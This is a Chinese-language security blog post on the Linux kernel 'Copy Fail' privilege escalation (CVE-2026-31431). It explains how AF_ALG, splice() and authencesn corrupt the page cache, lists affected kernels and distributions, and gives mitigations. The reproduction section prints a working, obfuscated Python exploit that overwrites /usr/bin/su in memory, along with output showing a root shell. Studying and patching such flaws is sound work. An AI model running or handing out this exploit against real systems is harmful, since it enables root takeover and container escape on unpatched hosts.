0x01 事件速览:一颗潜伏9年的"定时炸弹"
2026年4月29日,韩国安全研究团队 Theori 公开披露了一个堪称"史诗级"的 Linux 内核本地提权漏洞------CVE-2026-31431 ,代号 "Copy Fail" 。该漏洞由研究员 Taeyang Lee 借助 AI 辅助代码审计工具 Xint Code 发现,并于3月23日报告给 Linux 内核安全团队。

这颗"炸弹"的可怕之处在于:
-
潜伏时间长达9年 :漏洞源于2017年引入的一个"原地优化"(commit
72548b093ee3),此后所有基于该版本构建的内核均受影响; -
100%确定性利用:无需竞争条件、无需硬编码内核偏移、跨发行版通用;
-
攻击门槛极低 :仅需一个本地普通用户账号 + 732字节的 Python 脚本,即可从
uid=1000秒变uid=0; -
容器逃逸利器:在共享内核的云环境、K8s集群、CI/CD流水线中,一个受控容器即可突破隔离,直取宿主机 root。
美国网络安全与基础设施安全局(CISA)已在5月1日将其纳入 已知被利用漏洞目录(KEV),各大发行版补丁正在紧急推送中。
免责声明
请自行搭建环境进行漏洞测试,作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为,如用于其他用途,由使用者承担全部法律及连带责任,与作者无关。
TIPS: 更多POC 末尾领取资料及加入星球福利
0x02漏洞原理:当加密API遇上页缓存
Copy Fail 并非传统意义上的内存破坏漏洞(如堆溢出、UAF),而是一个逻辑缺陷。它恰好位于三个内核子系统的交汇点:
| 子系统 | 角色 |
|---|---|
| AF_ALG | Linux 用户态加密 API 套接字接口,允许用户程序调用内核加密算法 |
| splice() | 零拷贝系统调用,可在文件描述符和管道之间直接搬运数据,绕过用户态缓冲区 |
| authencesn | AEAD(认证加密)算法模板,组合了 hmac(sha256) 和 cbc(aes) |
2017年,内核开发者为提升 AEAD 操作性能,引入了一项原地优化:当源数据与目标数据位于同一内存区域时,避免不必要的内存拷贝。这本是一个性能优化,却埋下了一颗逻辑炸弹。
在 algif_aead 模块处理 AEAD 解密时,内核会构建两个散列表(Scatter-Gather List):
-
TX SGL(发送散列表):存放待解密的密文;
-
DST SGL(目标散列表):存放解密后的明文。
正常情况下,DST SGL 应该指向一块独立的内核缓冲区。但2017年的优化允许:当检测到"原地操作"条件时,直接将页缓存(Page Cache)页面链接到 DST SGL 的可写链表中。
攻击数据流:4字节精准注入
sendmsg(AAD) splice(目标文件)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────┐
│ RX缓冲区 │──────────────▶│ 页缓存页面 │
│ 8字节 │ │ (如 /usr/bin/su)│
└──────────┘ └──────────────────┘
▲
│
authencesn 在此写入 seqno_lo
偏移 = assoclen + cryptlen
════ 漏洞触发点 ════
具体步骤如下:
-
创建加密套接字 :调用
socket(AF_ALG, ...)创建 AEAD 套接字,绑定authencesn(hmac(sha256),cbc(aes))算法; -
注入页缓存 :通过
splice()将目标文件(如/usr/bin/su)的页缓存页面零拷贝到套接字的发送端; -
构造AAD :通过
sendmsg()+MSG_MORE发送关联认证数据(AAD),其中包含攻击者完全可控的 4字节seqno_lo; -
触发越界写 :内核在处理 AEAD 解密时,将
seqno_lo写入 DST SGL 的assoclen + cryptlen偏移处。由于 DST SGL 已链接到页缓存页面,这4字节直接落入了只读文件的页缓存中; -
HMAC校验失败 :由于数据被篡改,HMAC 校验必然失败,内核返回
EBADMSG错误。但此时页缓存已被污染,且磁盘上的文件原封不动
影响范围:几乎全军覆没
受影响的内核版本
| 版本范围 | 状态 |
|---|---|
| Linux 4.14 ~ 6.18.21 | ❌ vulnerable |
| Linux 6.19.0 ~ 6.19.11 | ❌ vulnerable |
| Linux 6.18.22+ / 6.19.12+ / 7.0+ | ✅ patched |
受影响的发行版
包括但不限于:
-
Ubuntu:16.04/18.04/20.04/22.04/24.04 LTS 等
-
Red Hat:RHEL 8/9/10,CentOS Stream,Fedora
-
Debian:Debian 9/10/11/12
-
SUSE:SLES 15, openSUSE Leap/Tumbleweed
-
Arch Linux
-
Amazon Linux 2/2023
-
Alpine Linux(容器基础镜像!)
0x03 漏洞复现
执行命令python3 copy_fail_exp.py
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

复现效果
[*] CVE-2026-31431 'Copy Fail' Exploit
[*] Universal Linux kernel privilege escalation
[*] Target binary: /usr/bin/su
[*] Testing for vulnerability...
[+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3)
[+] File size: 56944 bytes
[+] Shellcode size: 160 bytes
[+] Patching file in page cache...
Written 160/160 bytes...
[+] Page cache patching complete!
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
0x04 修复建议
方案A:卸载 algif_aead 模块(推荐)
⚠️ RHEL 9 用户注意 :
algif_aead在 RHEL 9 中为内置模块(built-in),无法通过rmmod卸载,必须等待内核补丁或采用方案B。
方案B:限制 AF_ALG 套接字
通过 seccomp 、SELinux 、AppArmor 或容器安全策略,禁止不可信工作负载访问 AF_ALG 接口:
方案C:监控异常 splice + AF_ALG 组合
长期修复:升级内核
| 目标版本 | 修复状态 |
|---|---|
| Linux 6.18.22+ | ✅ 已修复 |
| Linux 6.19.12+ | ✅ 已修复 |
| Linux 7.0+ | ✅ 已修复 |
各大发行版补丁状态(截至2026年5月2日):
-
Ubuntu:已发布 USN 公告,紧急更新推送中
-
Red Hat:RHEL 8/9/10 补丁正在测试,预计48小时内发布
-
Debian:DSA 公告已发布
-
SUSE:维护更新已可用
-
Arch:linux 包已更新至修复版本